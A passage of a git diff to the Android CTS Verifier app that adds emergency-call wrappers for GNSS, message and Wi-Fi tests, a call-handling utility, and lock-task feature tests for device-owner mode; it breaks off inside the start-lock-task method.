+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.location;
+
+import android.location.cts.GnssMeasurementValuesTest;
+import com.android.cts.verifier.location.base.EmergencyCallBaseTestActivity;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Activity to execute CTS GnssMeasurementValuesTest while dialing emergency number.
+ * It is a wrapper for {@link GnssMeasurementValuesTest} running with AndroidJUnitRunner.
+ */
+public class EmergencyCallGNSSTestsActivity extends EmergencyCallBaseTestActivity {
+ // GNSS test has a longer timeout
+ private static final long PHONE_CALL_DURATION_MS = TimeUnit.MINUTES.toMillis(2);
+
+ public EmergencyCallGNSSTestsActivity() {
+ super(GnssMeasurementValuesTest.class);
+ }
+
+ @Override
+ protected long getPhoneCallDurationMs() {
+ return PHONE_CALL_DURATION_MS;
+ }
+
+ @Override
+ protected boolean showLocalNumberInputbox() {
+ return false;
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallMessageTestsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallMessageTestsActivity.java
new file mode 100644
index 0000000..7377065
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallMessageTestsActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.location;
+
+import android.location.cts.EmergencyCallMessageTest;
+import com.android.cts.verifier.location.base.EmergencyCallBaseTestActivity;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Activity to execute CTS EmergencyCallMessageTest while dialing emergency number.
+ * It is a wrapper for {@link EmergencyCallMessageTest} running with AndroidJUnitRunner.
+ */
+public class EmergencyCallMessageTestsActivity extends EmergencyCallBaseTestActivity {
+ private static final long PHONE_CALL_DURATION_MS = TimeUnit.SECONDS.toMillis(35);
+ public EmergencyCallMessageTestsActivity() {
+ super(EmergencyCallMessageTest.class);
+ }
+
+ @Override
+ protected long getPhoneCallDurationMs() {
+ return PHONE_CALL_DURATION_MS;
+ }
+
+ @Override
+ protected boolean showLocalNumberInputbox() {
+ return true;
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallWifiTestsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallWifiTestsActivity.java
new file mode 100644
index 0000000..634863d
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallWifiTestsActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.location;
+
+import android.location.cts.EmergencyCallWifiTest;
+import com.android.cts.verifier.location.base.EmergencyCallBaseTestActivity;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Activity to execute CTS EmergencyCallWifiTest while dialing emergency number.
+ * It is a wrapper for {@link EmergencyCallWifiTest} running with AndroidJUnitRunner.
+ */
+public class EmergencyCallWifiTestsActivity extends EmergencyCallBaseTestActivity {
+ private static final long PHONE_CALL_DURATION_MS = TimeUnit.SECONDS.toMillis(35);
+ public EmergencyCallWifiTestsActivity() {
+ super(EmergencyCallWifiTest.class);
+ }
+
+ @Override
+ protected long getPhoneCallDurationMs() {
+ return PHONE_CALL_DURATION_MS;
+ }
+
+ @Override
+ protected boolean showLocalNumberInputbox() {
+ return false;
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/EmergencyCallBaseTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/base/EmergencyCallBaseTestActivity.java
new file mode 100644
index 0000000..ef88e9b
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/base/EmergencyCallBaseTestActivity.java
@@ -0,0 +1,113 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.location.base;
+
+import android.app.AlertDialog;
+import android.content.DialogInterface;
+import android.location.cts.GnssTestCase;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.View;
+import android.view.LayoutInflater;
+import android.widget.Button;
+import android.widget.EditText;
+import android.widget.FrameLayout;
+import com.android.cts.verifier.R;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * An Activity that allows Gnss CTS tests to be executed inside CtsVerifier.
+ *
+ * Sub-classes pass the test class as part of construction.
+ * One JUnit test class is executed per Activity, the test class can still be executed outside
+ * CtsVerifier.
+ */
+public abstract class EmergencyCallBaseTestActivity extends GnssCtsTestActivity {
+ private static final String PHONE_NUMBER_KEY = "android.cts.emergencycall.phonenumber";
+ private static final String defaultPhonePackageName = "com.google.android.dialer";
+
+ /**
+ * Constructor for a CTS test executor. It will execute a standalone CTS test class.
+ *
+ * @param testClass The test class to execute, it must be a subclass of {@link AndroidTestCase}.
+ */
+ protected EmergencyCallBaseTestActivity(Class<? extends GnssTestCase> testClass) {
+ super(testClass);
+ }
+
+ protected abstract long getPhoneCallDurationMs();
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ // override the test info
+ mTextView.setText(R.string.location_emergency_call_test_info);
+ EmergencyCallUtil.setDefaultDialer(this, this.getPackageName());
+ }
+
+ @Override
+ protected void onDestroy() {
+ super.onDestroy();
+ EmergencyCallUtil.setDefaultDialer(this, defaultPhonePackageName);
+ }
+
+ protected abstract boolean showLocalNumberInputbox();
+
+ @Override
+ public void onClick(View target) {
+ AlertDialog.Builder builder = new AlertDialog.Builder(this);
+ final FrameLayout frameView = new FrameLayout(this);
+ builder.setView(frameView);
+
+ final boolean enableLocalNumberInputBox = showLocalNumberInputbox();
+ final AlertDialog alertDialog = builder.create();
+ LayoutInflater inflater = alertDialog.getLayoutInflater();
+
+ View dialogView;
+ if (enableLocalNumberInputBox) {
+ dialogView =
+ inflater.inflate(R.layout.emergency_call_msg_test_confirm_dialog, frameView);
+ } else {
+ dialogView = inflater.inflate(R.layout.emergency_call_confirm_dialog, frameView);
+ }
+ final EditText targetNumberEditText =
+ (EditText) dialogView.findViewById(R.id.emergency_number);
+ final Button dialButton = (Button) dialogView.findViewById(R.id.dial_button);
+ dialButton.setOnClickListener(new Button.OnClickListener() {
+ @Override
+ public void onClick(View v) {
+ if (enableLocalNumberInputBox) {
+ final EditText currentNumberEditText =
+ (EditText) dialogView.findViewById(R.id.local_phone_number);
+ String currentNumber = currentNumberEditText.getText().toString();
+ // pass the number to cts tests for cts verifier UI, through System property.
+ System.setProperty(PHONE_NUMBER_KEY, currentNumber);
+ }
+ int targetPhoneNumber =
+ Integer.parseInt(targetNumberEditText.getText().toString());
+ long callDurationMs = EmergencyCallBaseTestActivity.this.getPhoneCallDurationMs();
+ EmergencyCallUtil.makePhoneCall(
+ EmergencyCallBaseTestActivity.this, targetPhoneNumber);
+ EmergencyCallBaseTestActivity.super.onClick(target);
+ EmergencyCallUtil.endCallWithDelay(
+ EmergencyCallBaseTestActivity.this.getApplicationContext(), callDurationMs);
+ alertDialog.dismiss();
+ }
+ });
+ alertDialog.show();
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/EmergencyCallUtil.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/base/EmergencyCallUtil.java
new file mode 100644
index 0000000..12b7ac2
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/base/EmergencyCallUtil.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.location.base;
+
+import android.app.Activity;
+import android.app.AlertDialog;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.telecom.TelecomManager;
+import android.telephony.TelephonyManager;
+import android.text.InputType;
+import android.util.Log;
+import android.widget.EditText;
+import android.widget.LinearLayout;
+import com.android.cts.verifier.R;
+import java.lang.reflect.Method;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * The EmergencyCallUtil class provides util functions related to the emergency call.
+ */
+public class EmergencyCallUtil {
+ private static final int REQUEST_CODE_SET_DEFAULT_DIALER = 1;
+ private static final String TAG = "EmergencyCallUtil";
+ private static final long WAIT_FOR_CONNECTION_MS = TimeUnit.SECONDS.toMillis(3);
+
+ /*
+ * This method is used to set default dialer app.
+ * To dial 911, it requires to set the dialer to be the system default dial app.
+ *
+ * @param activity current Activity.
+ * @param packageName dialer package name.
+ */
+ public static void setDefaultDialer(Activity activity, String packageName) {
+ final Intent intent = new Intent(TelecomManager.ACTION_CHANGE_DEFAULT_DIALER);
+ intent.putExtra(TelecomManager.EXTRA_CHANGE_DEFAULT_DIALER_PACKAGE_NAME, packageName);
+ activity.startActivityForResult(intent, REQUEST_CODE_SET_DEFAULT_DIALER);
+ }
+
+ public static void makePhoneCall(Activity activity, int phoneNumber) {
+ Intent callIntent = new Intent(Intent.ACTION_CALL);
+ callIntent.setData(Uri.parse("tel:" + phoneNumber));
+ try {
+ callIntent.setFlags(Intent.FLAG_ACTIVITY_NO_USER_ACTION);
+ activity.startActivityForResult(callIntent, REQUEST_CODE_SET_DEFAULT_DIALER);
+ } catch (SecurityException ex) {
+ Log.d(TAG, "Failed to make the phone call: " + ex.toString());
+ }
+ // sleep 3sec to make sure call is connected
+ activity.runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ try {
+ Thread.sleep(WAIT_FOR_CONNECTION_MS);
+ } catch (InterruptedException ex) {
+ Log.d(TAG, "Failed to make the phone call: " + ex.toString());
+ }
+ }
+ });
+ }
+
+ public static void endCallWithDelay(Context context, long delayMs) {
+ Runnable runnable = new Runnable() {
+ @Override
+ public void run() {
+ try {
+ Thread.sleep(delayMs);
+ endCall(context);
+ } catch (InterruptedException ex) {
+ Log.d(TAG, "Failed to make the phone call: " + ex.toString());
+ }
+ }
+ };
+ new Thread(runnable).start();
+ }
+
+ private static void endCall(Context context) {
+ try {
+ TelephonyManager telephonyManager =
+ (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
+
+ Class<?> classTelephony = Class.forName(telephonyManager.getClass().getName());
+ Method methodGetITelephony = classTelephony.getDeclaredMethod("getITelephony");
+ methodGetITelephony.setAccessible(true);
+
+ Object telephonyInterface = methodGetITelephony.invoke(telephonyManager);
+
+ Class<?> telephonyInterfaceClass =
+ Class.forName(telephonyInterface.getClass().getName());
+ Method methodEndCall = telephonyInterfaceClass.getDeclaredMethod("endCall");
+
+ methodEndCall.invoke(telephonyInterface);
+
+ } catch (Exception e) {
+ Log.d(TAG, "Failed to cancel the call: " + e.toString());
+ }
+ }
+
+ private static String getCurrentPhoneNumber(Activity activity) {
+ TelephonyManager tMgr =
+ (TelephonyManager)activity.getSystemService(Context.TELEPHONY_SERVICE);
+ return tMgr.getLine1Number();
+ }
+
+}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
index 1d4d13a..4ea451a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
@@ -39,14 +39,12 @@
import android.widget.Toast;
import com.android.cts.verifier.R;
-import com.android.cts.verifier.managedprovisioning.Utils;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.ArrayList;
-import java.util.List;
import java.util.concurrent.TimeUnit;
public class CommandReceiverActivity extends Activity {
@@ -68,6 +66,7 @@
public static final String COMMAND_SET_KEYGUARD_DISABLED = "set-keyguard-disabled";
public static final String COMMAND_SET_LOCK_SCREEN_INFO = "set-lock-screen-info";
public static final String COMMAND_SET_STATUSBAR_DISABLED = "set-statusbar-disabled";
+ public static final String COMMAND_SET_LOCK_TASK_FEATURES = "set-lock-task-features";
public static final String COMMAND_ALLOW_ONLY_SYSTEM_INPUT_METHODS =
"allow-only-system-input-methods";
public static final String COMMAND_ALLOW_ONLY_SYSTEM_ACCESSIBILITY_SERVICES =
@@ -220,6 +219,11 @@
boolean enforced = intent.getBooleanExtra(EXTRA_ENFORCED, false);
mDpm.setStatusBarDisabled(mAdmin, enforced);
} break;
+ case COMMAND_SET_LOCK_TASK_FEATURES: {
+ int flags = intent.getIntExtra(EXTRA_VALUE,
+ DevicePolicyManager.LOCK_TASK_FEATURE_NONE);
+ mDpm.setLockTaskFeatures(mAdmin, flags);
+ } break;
case COMMAND_ALLOW_ONLY_SYSTEM_INPUT_METHODS: {
boolean enforced = intent.getBooleanExtra(EXTRA_ENFORCED, false);
mDpm.setPermittedInputMethods(mAdmin, enforced ? new ArrayList() : null);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
index f54e567..7cc1db5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
@@ -25,6 +25,7 @@
import android.content.Intent;
import android.content.IntentFilter;
import android.os.PersistableBundle;
+import android.support.v4.content.LocalBroadcastManager;
import android.util.Log;
import com.android.cts.verifier.R;
@@ -76,6 +77,20 @@
R.string.bugreport_failed_completing), Utils.BUGREPORT_NOTIFICATION_ID);
}
+ @Override
+ public void onLockTaskModeEntering(Context context, Intent intent, String pkg) {
+ Log.i(TAG, "Entering LockTask mode: " + pkg);
+ LocalBroadcastManager.getInstance(context)
+ .sendBroadcast(new Intent(LockTaskUiTestActivity.ACTION_LOCK_TASK_STARTED));
+ }
+
+ @Override
+ public void onLockTaskModeExiting(Context context, Intent intent) {
+ Log.i(TAG, "Exiting LockTask mode");
+ LocalBroadcastManager.getInstance(context)
+ .sendBroadcast(new Intent(LockTaskUiTestActivity.ACTION_LOCK_TASK_STOPPED));
+ }
+
private void setupProfile(Context context) {
DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);
dpm.setProfileEnabled(new ComponentName(context.getApplicationContext(), getClass()));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index 0cae6be..55b2b9c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -21,7 +21,6 @@
import android.app.Activity;
import android.app.AlertDialog;
import android.app.admin.DevicePolicyManager;
-import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
@@ -29,12 +28,10 @@
import android.os.Bundle;
import android.os.UserManager;
import android.provider.Settings;
-import android.util.Log;
import android.view.View;
import android.view.View.OnClickListener;
import com.android.cts.verifier.ArrayTestListAdapter;
-import com.android.cts.verifier.IntentDrivenTestActivity;
import com.android.cts.verifier.IntentDrivenTestActivity.ButtonInfo;
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
@@ -60,6 +57,7 @@
private static final String WIFI_LOCKDOWN_TEST_ID = WifiLockdownTestActivity.class.getName();
private static final String DISABLE_STATUS_BAR_TEST_ID = "DISABLE_STATUS_BAR";
private static final String DISABLE_KEYGUARD_TEST_ID = "DISABLE_KEYGUARD";
+ private static final String LOCK_TASK_UI_TEST_ID = "LOCK_TASK_UI";
private static final String CHECK_PERMISSION_LOCKDOWN_TEST_ID =
PermissionLockdownTestActivity.class.getName();
private static final String DISALLOW_CONFIG_BT_ID = "DISALLOW_CONFIG_BT";
@@ -279,6 +277,14 @@
CommandReceiverActivity.COMMAND_SET_KEYGUARD_DISABLED,
false))}));
+ // setLockTaskFeatures
+ final Intent lockTaskUiTestIntent = new Intent(this, LockTaskUiTestActivity.class);
+ lockTaskUiTestIntent.putExtra(LockTaskUiTestActivity.EXTRA_TEST_ID, LOCK_TASK_UI_TEST_ID);
+ adapter.add(createTestItem(this, LOCK_TASK_UI_TEST_ID,
+ R.string.device_owner_lock_task_ui_test,
+ lockTaskUiTestIntent));
+
+ // setUserIcon
adapter.add(createInteractiveTestItem(this, SET_USER_ICON_TEST_ID,
R.string.device_owner_set_user_icon,
R.string.device_owner_set_user_icon_instruction,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
index 71c4421..3a16297 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
@@ -269,19 +269,18 @@
CommandReceiverActivity.
COMMAND_REMOVE_MANAGED_PROFILE))}));
}
- // Disabled for API 26 due to b/63696536.
- // adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_FAILED_PASSWORD_WIPE,
- // R.string.enterprise_privacy_failed_password_wipe,
- // R.string.enterprise_privacy_failed_password_wipe_info,
- // new ButtonInfo[] {
- // new ButtonInfo(R.string.enterprise_privacy_open_settings,
- // new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
- // new ButtonInfo(R.string.enterprise_privacy_set_limit,
- // buildCommandIntent(CommandReceiverActivity
- // .COMMAND_SET_MAXIMUM_PASSWORD_ATTEMPTS)),
- // new ButtonInfo(R.string.enterprise_privacy_finish,
- // buildCommandIntent(CommandReceiverActivity
- // .COMMAND_CLEAR_MAXIMUM_PASSWORD_ATTEMPTS))}));
+ adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_FAILED_PASSWORD_WIPE,
+ R.string.enterprise_privacy_failed_password_wipe,
+ R.string.enterprise_privacy_failed_password_wipe_info,
+ new ButtonInfo[] {
+ new ButtonInfo(R.string.enterprise_privacy_open_settings,
+ new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
+ new ButtonInfo(R.string.enterprise_privacy_set_limit,
+ buildCommandIntent(CommandReceiverActivity
+ .COMMAND_SET_MAXIMUM_PASSWORD_ATTEMPTS)),
+ new ButtonInfo(R.string.enterprise_privacy_finish,
+ buildCommandIntent(CommandReceiverActivity
+ .COMMAND_CLEAR_MAXIMUM_PASSWORD_ATTEMPTS))}));
if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_MANAGED_USERS)) {
adapter.add(createInteractiveTestItem(this,
ENTERPRISE_PRIVACY_COMP_FAILED_PASSWORD_WIPE,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java
new file mode 100644
index 0000000..a6e6b2f
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java
@@ -0,0 +1,355 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.managedprovisioning;
+
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_GLOBAL_ACTIONS;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_HOME;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_KEYGUARD;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_NONE;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_NOTIFICATIONS;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_RECENTS;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_SYSTEM_INFO;
+
+import static com.android.cts.verifier.managedprovisioning.Utils.createInteractiveTestItem;
+
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.database.DataSetObserver;
+import android.os.AsyncTask;
+import android.os.Bundle;
+import android.support.v4.content.LocalBroadcastManager;
+import android.util.Log;
+import android.widget.Button;
+import android.widget.Toast;
+
+import com.android.cts.verifier.ArrayTestListAdapter;
+import com.android.cts.verifier.IntentDrivenTestActivity.ButtonInfo;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.TestListAdapter.TestListItem;
+import com.android.cts.verifier.TestResult;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests for {@link DevicePolicyManager#setLockTaskFeatures(ComponentName, int)}.
+ */
+public class LockTaskUiTestActivity extends PassFailButtons.TestListActivity {
+
+ private static final String TAG = LockTaskUiTestActivity.class.getSimpleName();
+
+ public static final String EXTRA_TEST_ID =
+ "com.android.cts.verifier.managedprovisioning.extra.TEST_ID";
+
+ /** Broadcast action sent by {@link DeviceAdminTestReceiver} when LockTask starts. */
+ static final String ACTION_LOCK_TASK_STARTED =
+ "com.android.cts.verifier.managedprovisioning.action.LOCK_TASK_STARTED";
+ /** Broadcast action sent by {@link DeviceAdminTestReceiver} when LockTask stops. */
+ static final String ACTION_LOCK_TASK_STOPPED =
+ "com.android.cts.verifier.managedprovisioning.action.LOCK_TASK_STOPPED";
+
+ private static final ComponentName ADMIN_RECEIVER =
+ DeviceAdminTestReceiver.getReceiverComponentName();
+ private static final String TEST_PACKAGE_NAME = "com.android.cts.verifier";
+ private static final String ACTION_STOP_LOCK_TASK =
+ "com.android.cts.verifier.managedprovisioning.action.STOP_LOCK_TASK";
+
+ private static final String TEST_ID_DEFAULT = "lock-task-ui-default";
+ private static final String TEST_ID_SYSTEM_INFO = "lock-task-ui-system-info";
+ private static final String TEST_ID_NOTIFICATIONS = "lock-task-ui-notifications";
+ private static final String TEST_ID_HOME = "lock-task-ui-home";
+ private static final String TEST_ID_RECENTS = "lock-task-ui-recents";
+ private static final String TEST_ID_GLOBAL_ACTIONS = "lock-task-ui-global-actions";
+ private static final String TEST_ID_KEYGUARD = "lock-task-ui-keyguard";
+ private static final String TEST_ID_STOP_LOCK_TASK = "lock-task-ui-stop-lock-task";
+
+ private DevicePolicyManager mDpm;
+ private ActivityManager mAm;
+ private NotificationManager mNotifyMgr;
+
+ private LockTaskStateChangedReceiver mStateChangedReceiver;
+ private CountDownLatch mLockTaskStartedLatch;
+ private CountDownLatch mLockTaskStoppedLatch;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.device_owner_lock_task_ui);
+ setPassFailButtonClickListeners();
+
+ mDpm = getSystemService(DevicePolicyManager.class);
+ mAm = getSystemService(ActivityManager.class);
+ mNotifyMgr = getSystemService(NotificationManager.class);
+
+ final ArrayTestListAdapter adapter = new ArrayTestListAdapter(this);
+ addTestsToAdapter(adapter);
+ adapter.registerDataSetObserver(new DataSetObserver() {
+ @Override
+ public void onChanged() {
+ updatePassButton();
+ }
+ });
+ setTestListAdapter(adapter);
+
+ Button startLockTaskButton = findViewById(R.id.start_lock_task_button);
+ startLockTaskButton.setOnClickListener((view) -> startLockTaskMode());
+
+ if (ACTION_STOP_LOCK_TASK.equals(getIntent().getAction())) {
+ // This means we're started by the "stop LockTask mode" test activity (the last one in
+ // the list) in order to stop LockTask.
+ stopLockTaskMode();
+ }
+ }
+
+ private void addTestsToAdapter(final ArrayTestListAdapter adapter) {
+ adapter.add(createInteractiveTestItem(this,
+ TEST_ID_DEFAULT,
+ R.string.device_owner_lock_task_ui_default_test,
+ R.string.device_owner_lock_task_ui_default_test_info,
+ new ButtonInfo[]{}));
+
+ adapter.add(createSetLockTaskFeaturesTest(
+ TEST_ID_SYSTEM_INFO,
+ LOCK_TASK_FEATURE_SYSTEM_INFO,
+ R.string.device_owner_lock_task_ui_system_info_test,
+ R.string.device_owner_lock_task_ui_system_info_test_info));
+
+ adapter.add(createSetLockTaskFeaturesTest(
+ TEST_ID_NOTIFICATIONS,
+ LOCK_TASK_FEATURE_NOTIFICATIONS,
+ R.string.device_owner_lock_task_ui_notifications_test,
+ R.string.device_owner_lock_task_ui_notifications_test_info));
+
+ adapter.add(createSetLockTaskFeaturesTest(
+ TEST_ID_HOME,
+ LOCK_TASK_FEATURE_HOME,
+ R.string.device_owner_lock_task_ui_home_test,
+ R.string.device_owner_lock_task_ui_home_test_info));
+
+ adapter.add(createSetLockTaskFeaturesTest(
+ TEST_ID_RECENTS,
+ LOCK_TASK_FEATURE_RECENTS,
+ R.string.device_owner_lock_task_ui_recents_test,
+ R.string.device_owner_lock_task_ui_recents_test_info));
+
+ adapter.add(createSetLockTaskFeaturesTest(
+ TEST_ID_GLOBAL_ACTIONS,
+ LOCK_TASK_FEATURE_GLOBAL_ACTIONS,
+ R.string.device_owner_lock_task_ui_global_actions_test,
+ R.string.device_owner_lock_task_ui_global_actions_test_info));
+
+ adapter.add(createSetLockTaskFeaturesTest(
+ TEST_ID_KEYGUARD,
+ LOCK_TASK_FEATURE_KEYGUARD,
+ R.string.device_owner_lock_task_ui_keyguard_test,
+ R.string.device_owner_lock_task_ui_keyguard_test_info));
+
+ final Intent stopLockTaskIntent = new Intent(this, LockTaskUiTestActivity.class);
+ stopLockTaskIntent.setAction(ACTION_STOP_LOCK_TASK);
+ adapter.add(createInteractiveTestItem(this,
+ TEST_ID_STOP_LOCK_TASK,
+ R.string.device_owner_lock_task_ui_stop_lock_task_test,
+ R.string.device_owner_lock_task_ui_stop_lock_task_test_info,
+ new ButtonInfo(
+ R.string.device_owner_lock_task_ui_stop_lock_task_test,
+ stopLockTaskIntent
+ )));
+ }
+
+ /** Receives LockTask start/stop callbacks forwarded by {@link DeviceAdminTestReceiver}. */
+ private final class LockTaskStateChangedReceiver extends BroadcastReceiver {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ String action = intent.getAction();
+ switch (action) {
+ case ACTION_LOCK_TASK_STARTED:
+ if (mLockTaskStartedLatch != null) {
+ mLockTaskStartedLatch.countDown();
+ }
+ break;
+ case ACTION_LOCK_TASK_STOPPED:
+ if (mLockTaskStoppedLatch != null) {
+ mLockTaskStoppedLatch.countDown();
+ }
+ break;
+ }
+ }
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ mStateChangedReceiver = new LockTaskStateChangedReceiver();
+ final IntentFilter filter = new IntentFilter();
+ filter.addAction(ACTION_LOCK_TASK_STARTED);
+ filter.addAction(ACTION_LOCK_TASK_STOPPED);
+ LocalBroadcastManager.getInstance(this).registerReceiver(mStateChangedReceiver, filter);
+ }
+
+ @Override
+ protected void onPause() {
+ if (mStateChangedReceiver != null) {
+ LocalBroadcastManager.getInstance(this).unregisterReceiver(mStateChangedReceiver);
+ mStateChangedReceiver = null;
+ }
+ super.onPause();
+ }
+
+ /**
+ * Starts LockTask mode and waits for callback from {@link DeviceAdminTestReceiver} to confirm
+ * LockTask has started successfully. If the callback isn't received, the entire test will be
+ * marked as failed.
+ *
+ * @see LockTaskStateChangedReceiver
+ */
+ private void startLockTaskMode() {
